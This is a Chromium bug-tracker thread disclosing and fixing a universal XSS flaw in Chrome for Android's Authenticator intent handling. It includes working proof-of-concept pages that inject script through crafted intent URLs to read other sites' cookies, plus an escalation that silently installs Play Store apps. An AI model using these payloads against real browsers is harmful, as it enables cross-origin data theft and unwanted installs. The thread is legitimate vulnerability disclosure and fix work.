Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 3 users
Status: Fixed
Owner:
Closed: May 2015
Cc:
EstimatedDays: ----
NextAction: ----
OS: Android
Pri: 1
Type: Bug-Security



Sign in to add a comment
Security: UXSS in AuthenticatorHelper
Reported by win...@gmail.com, Feb 28 2015 Back to list
VULNERABILITY DETAILS
sendMessageToPage in com.google.android.apps.chrome.tab.AuthenticatorHelper
can execute user controlled javascript in the current tab from java world, which may bypass SOP check in the  c++ world.

VERSION
Chrome Version: Chrome for Android 40.0.2214.109 
Operating System: Android 4.4.2

REPRODUCTION CASE

sendMessageToPage in com.google.android.apps.chrome.tab.AuthenticatorHelper will call evaluateJavaScript to execute javascript in the current tab. User controlled data is used to build the js statement. single quote can be used to inject arbitrary js statement.

From first look, this is not vulnerable. but combined with several tricks, it may leads to UXSS.

POC1 : SOP bypass with frame confusion

Suppose parent.html in the victim domain iframed a html page child.html from evil domain.

parent.html
<body>
<iframe src="http://evil.com/child.html"><iframe>
</body>

child.html
<body>
<script>
parent.location = "intent://10010#Intent;scheme=tel;action=com.google.android.apps.authenticator.AUTHENTICATE;end','*');alert(document.cookie);//";  
</script>
</body>

when user visit the parent.html in chrome for android, child.html can execute javascript in the parent domain by frame confusion, thus bypass the SOP.


POC2 : UXSS with boomerang javascript

open the following uxss.html in chrome for android, then press home button to return to the desktop. Wait for 10 seconds, the chrome may popup automatically (if not, just open it) and get UXSSed. (if don't press home button, it also works, but with a chance of failure)

uxss.html 
<body>
<link rel="prerender" href="http://www.google.com"/>
<script>
setTimeout(function(){
location = "googlechrome://navigate?url=intent://10010#Intent;scheme=tel;action=com.google.android.apps.authenticator.AUTHENTICATE;end','*');alert(document.cookie);//";
setTimeout(function(){location="http://www.google.com"},0);
},10000);
</script>
</body>

 
uxss.html
356 bytes View Download
parent.html
67 bytes View Download
child.html
189 bytes View Download
Comment 1 Deleted
Comment 2 by win...@gmail.com, Feb 28 2015
p.s. more explanation about "not press home button" & "chance of failure":

Visit the above uxss.html page in the chrome for android. The page is initially blank, and will fire UXSS payload after 10 seconds. 
If user don't press home button, user need to touch the blank page at any place during this 10 seconds, after that, the UXSS will also fire successfully. 

Cc: navabi@chromium.org
Labels: OS-Android Security_Impact-Stable Security_Severity-High
Owner: feng@chromium.org
Status: Assigned
Project Member Comment 4 by clusterf...@chromium.org, Mar 2 2015
Labels: M-41 Pri-1
Comment 5 by win...@gmail.com, Mar 12 2015
BTW, You can credit me as "WangTao(neobyte) of Baidu X-Team"

Project Member Comment 6 by clusterf...@chromium.org, Mar 14 2015
Labels: Nag
feng@: Uh oh! This issue is still open and hasn't been updated in the last 14 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Project Member Comment 7 by clusterf...@chromium.org, Mar 28 2015
feng@: Uh oh! This issue is still open and hasn't been updated in the last 28 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Project Member Comment 8 by clusterf...@chromium.org, Apr 3 2015
Labels: -M-41 M-42
Comment 9 by win...@gmail.com, Apr 3 2015
Hi, this vulnerability can be used in the googleplay to install any app on the phone.

The following is the updated exploit, it will install "com.paloaltonetworks.ctd.ihscanner" on your phone.

just browse the html in the chrome for android, then tap once at any place in the screen, and wait for a few seconds...

Tested on the latest chrome for android
version: 41.0.2272.96
Os: Android 4.4.4 Nexus 4
uxss3.html
981 bytes View Download
Comment 10 by win...@gmail.com, Apr 4 2015
The user should have logined into the googleplay account

P.S. the encoded javascript is 
setTimeout(function(){document.querySelector('button.play-button.apps.loonie-ok-button').click();},3000)

I have posted a video for this:
https://youtu.be/z2BKjJMF6JA
Project Member Comment 11 by clusterf...@chromium.org, Apr 12 2015
feng@: Uh oh! This issue is still open and hasn't been updated in the last 43 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Comment 12 by f...@chromium.org, Apr 21 2015
Cc: -navabi@chromium.org feng@chromium.org
Owner: navabi@chromium.org
I believe feng@ recently left the project. navabi@, might you be a good alternate owner? if not, do you have suggestions for anyone else who could pick up this bug?
Cc: f...@chromium.org tedc...@chromium.org yfried...@chromium.org
Owner: ----
Status: Available
No I am not a good alternate owner for this as this does not have to do with infrastructure.  

I'm not sure who is a good owner, because I can't find the AuthenticatorHelper file to do a git log on. Adding some clank folks that may know.
Owner: jaekyun@chromium.org
Status: Assigned
Looks like Jaekyun made some sanitization checks in there previously
Cc: -feng@chromium.org palmer@chromium.org
+palmer as well as he's probably interested. Looks like this has been the source of other exploits ( issue 421817 ) so beyond the specific issue we should look to harden this piece of code
I have been able to reproduce this locally on 4.4.4 but not on 5.1
On trunk, the navigation is actually getting blocked. Possibly related to https://codereview.chromium.org/1039013002 ?
Cc: changwan@chromium.org
I can confirm that reverting that patch re-introduced the bug on head. Not sure about immediate next steps. Changwan/Jaekyun can you investigate further to better understand the difference? It seems unintended based on your change description.
Nice work, wintao. Thank you. :)

It's good (I think?) to block the navigation — at least it appears blocks the attack. But, is it also blocking legitimate functionality? The underlying problem is that we accepted an unacceptable URL. We still need to fix that.

We have a pretty bad language-theoretic security problem here. URLs come from a surprisingly complex grammar, and now we are nesting them:

"googlechrome://navigate?url=intent://10010#Intent;scheme=tel;action=com.google.android.apps.authenticator.AUTHENTICATE;end','*');alert(document.cookie);//"

A googlechrome URL that contains an intent URL that contains a serialized Intent plus some other stuff that somehow gets called as JavaScript...

There should be a validateIntentURL function that would accept "intent://10010#Intent;scheme=tel;action=com.google.android.apps.authenticator.AUTHENTICATE;end" and other strings described by the grammar in https://developer.chrome.com/multidevice/android/intents#syntax, but reject everything else. The fact that there is stuff after the ";end" should have caused us to reject wintao's attack URL. We should also then validate that each component of the intent URL is valid for its meaning — package names are valid package name strings, schemes are valid schemes, and so on.

Does such a function already exist? If not, we'll need to write one. And then we need to call it somewhere.

One place to validate or sanitize URLs is in the ExternalNavigationParams constructor, which currently does no validation. ChromeTab calls into it, e.g.:

1158             ExternalNavigationParams params = new ExternalNavigationParams.Builder(url, incognito)
1159                     .setTab(ChromeTab.this)
1160                     .setOpenInNewTab(true)
1161                     .build();
1162             return mExternalNavHandler.shouldOverrideUrlLoading(params)
1163                     != ExternalNavigationHandler.OverrideUrlLoadingResult.NO_OVERRIDE;

Perhaps the validation could go in mExternalNavHandler.shouldOverrideUrlLoading, but I think it's safest and most universal to put it in ExternalNavigationParams — either the params are valid for external navigation, or they are not, and that is determined upon construction, and no further check should be necessary.

Alternately, the check could go in mAuthenticatorHelper.handleAuthenticatorUrl(url), if we are sure that call will always be called before initiating navigation.

Additionally, we should not be concatenating untrustworthy strings (such as from web content), unescaped, into JavaScript that we execute. That is never a good idea (especially since unescaping them correctly is not always obvious).

--> The first thing we need to do is to determine if there already exists an intent URL validator in our codebase. If not, we need to write one. Does anyone know?
This isn't related to a normal Intent handling, but related to GoogleAuthenticatorNavigationInterceptor; https://cs.corp.google.com/#clankium/src/clank/java/apps/chrome_internal/src/com/google/android/apps/chrome/tab/GoogleAuthenticatorNavigationInterceptor.java&sq=package:%5Eclankium$&l=160 seems problematic.

So I don't believe that https://codereview.chromium.org/1039013002 is related to this issue.

I'm struggling to set up Google Authenticator to re-produce this anyway.


Cc: -palmer@chromium.org jaekyun@chromium.org
Owner: palmer@chromium.org
Status: Started
I'm on it.
I also agree with palmer on #20 that we should check whether this is breaking some legitimate functionality. Changwan did you verify whether the authenticator integration is still working when making the patch?

For existing/similar code, it's worth looking at IntentHandler/IntentHandlerTest. I don't think we have strict validation like you're adding but there is logic there about rejecting some intents.
Comment 25 by f...@chromium.org, Apr 24 2015
Cc: -f...@chromium.org
Re #20 and #24, the fallback CL only affects cases where fallback URL exists, and assuming google authentication will never use fallback, that CL should not affect google authentication.
Cc: jcivelli@chromium.org
Project Member Comment 29 by bugdroid1@chromium.org, Apr 29 2015
The following change refers to this bug:
https://chrome-internal-review.googlesource.com/214797
Comment 30 by palmer@google.com, Apr 29 2015
Status: Fixed
Project Member Comment 31 by clusterf...@chromium.org, Apr 30 2015
Labels: -Restrict-View-SecurityTeam M-43 Restrict-View-SecurityNotify Merge-Triage
Adding Merge-Triage label for tracking purposes.

Once your fix had sufficient bake time (on canary, dev as appropriate), please nominate your fix for merge by adding the Merge-Requested label.

When your merge is approved by the release manager, please start merging with higher milestone label first. Make sure to re-request merge for every milestone in the label list. You can get branch information on omahaproxy.appspot.com.

- Your friendly ClusterFuzz
Status: Started
Not fixed yet; the patch keeps getting reverted because tests in place seem to ensure that JavaScript be sent in intent: URLs. jcivelli, can you pick this bug up or advise me on how to fix it without breaking functionality?
Cc: klo...@chromium.org
Jay's not on clank-team anymore so I don't think you'll get response here.
Cc: -jcivelli@chromium.org
Ah, I didn't realize. Anyone else? It seems that script injection is part of the design, which is not great.
Cc: jcivelli@chromium.org
Here is the old design doc, https://docs.google.com/document/d/1-0K6cGgnd0MgoqhMg82D22AJ9_T5XTeFCpXbKxsmbdw/edit#heading=h.5nal20kyxk22 and launch bug https://code.google.com/p/chromium/issues/detail?id=309058

Jay is still around, I am sure he can answer the questions.


I got the following logs while running GoogleAuthenticatorNavigationInterceptorTest.

W/Chrome  (22673): Bad URI 'intent:#Intent;action=com.google.android.apps.chrome.TEST_AUTHENTICATOR;category=android.intent.category.BROWSABLE;S.inputData=%7B%20name%3A%20%22tommy%20wiseau%22%2C%20age%3A%20%22undefined%22%7D;end'

...

W/Chrome  (22859): Bad URI 'intent:#Intent;action=com.google.android.apps.chrome.TEST_AUTHENTICATOR_NOT_INSTALLED;category=android.intent.category.BROWSABLE;end'

...

W/Chrome  (23060): Bad URI 'intent:#Intent;action=com.google.android.apps.chrome.TEST_AUTHENTICATOR;category=android.intent.category.BROWSABLE;S.inputData=cancelled;end'

The test URIs don't have any path; intent:any_path#Intent vs. intent:#Intent. But I confirmed that a similar URI was passed from the production site as well; you can see how to test Authenticator in Issue 434906. So we need to contact the Authenticator team not to break the functionality. Or we should accept such URIs as valid ones.

#37: Yes, I wrote a tweak to validateIntentUrl to handle that: https://codereview.chromium.org/1124983002/

But, yes, Authenticator team is sending URIs that look different from what Intent.toUri creates. Sigh.
Project Member Comment 39 by clusterf...@chromium.org, May 6 2015
Labels: Deadline-Exceeded
You have far exceeded the 60-day deadline for fixing this high severity security vulnerability.

We commit ourselves to this deadline and appreciate your utmost priority on this issue.

If you are unable to look into this soon, please find someone else to own this.

- Your friendly ClusterFuzz
Labels: -M-42 -Merge-Triage
Project Member Comment 41 by bugdroid1@chromium.org, May 8 2015
The following change refers to this bug:
https://chrome-internal-review.googlesource.com/215451
Status: Fixed
Cc: timwillis@chromium.org
Labels: -Nag -M-43 M-44 Release-0-M44
Moving to M44 - not going to make the M43 Android train.
Cc: rosenbergj@google.com
Labels: reward-topanel
Labels: CVE-2015-1275
Project Member Comment 47 by clusterf...@chromium.org, Aug 14 2015
Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.
Labels: -reward-topanel reward-7500 reward-unpaid
Thanks again for the report WangTao! :)

We'll be in contact to collect payment details this week. If you don't hear from someone, please contact me directly at timwillis@.
Comment 49 by win...@gmail.com, Aug 18 2015
thank you!
Labels: -reward-unpaid reward-inprocess
Labels: -reward-inprocess
Processing via our e-payment system takes ~7 days, but the reward should be on its way to you. Thanks again for your help!
Project Member Comment 52 by sheriffbot@chromium.org, Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member Comment 53 by sheriffbot@chromium.org, Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Sign in to add a comment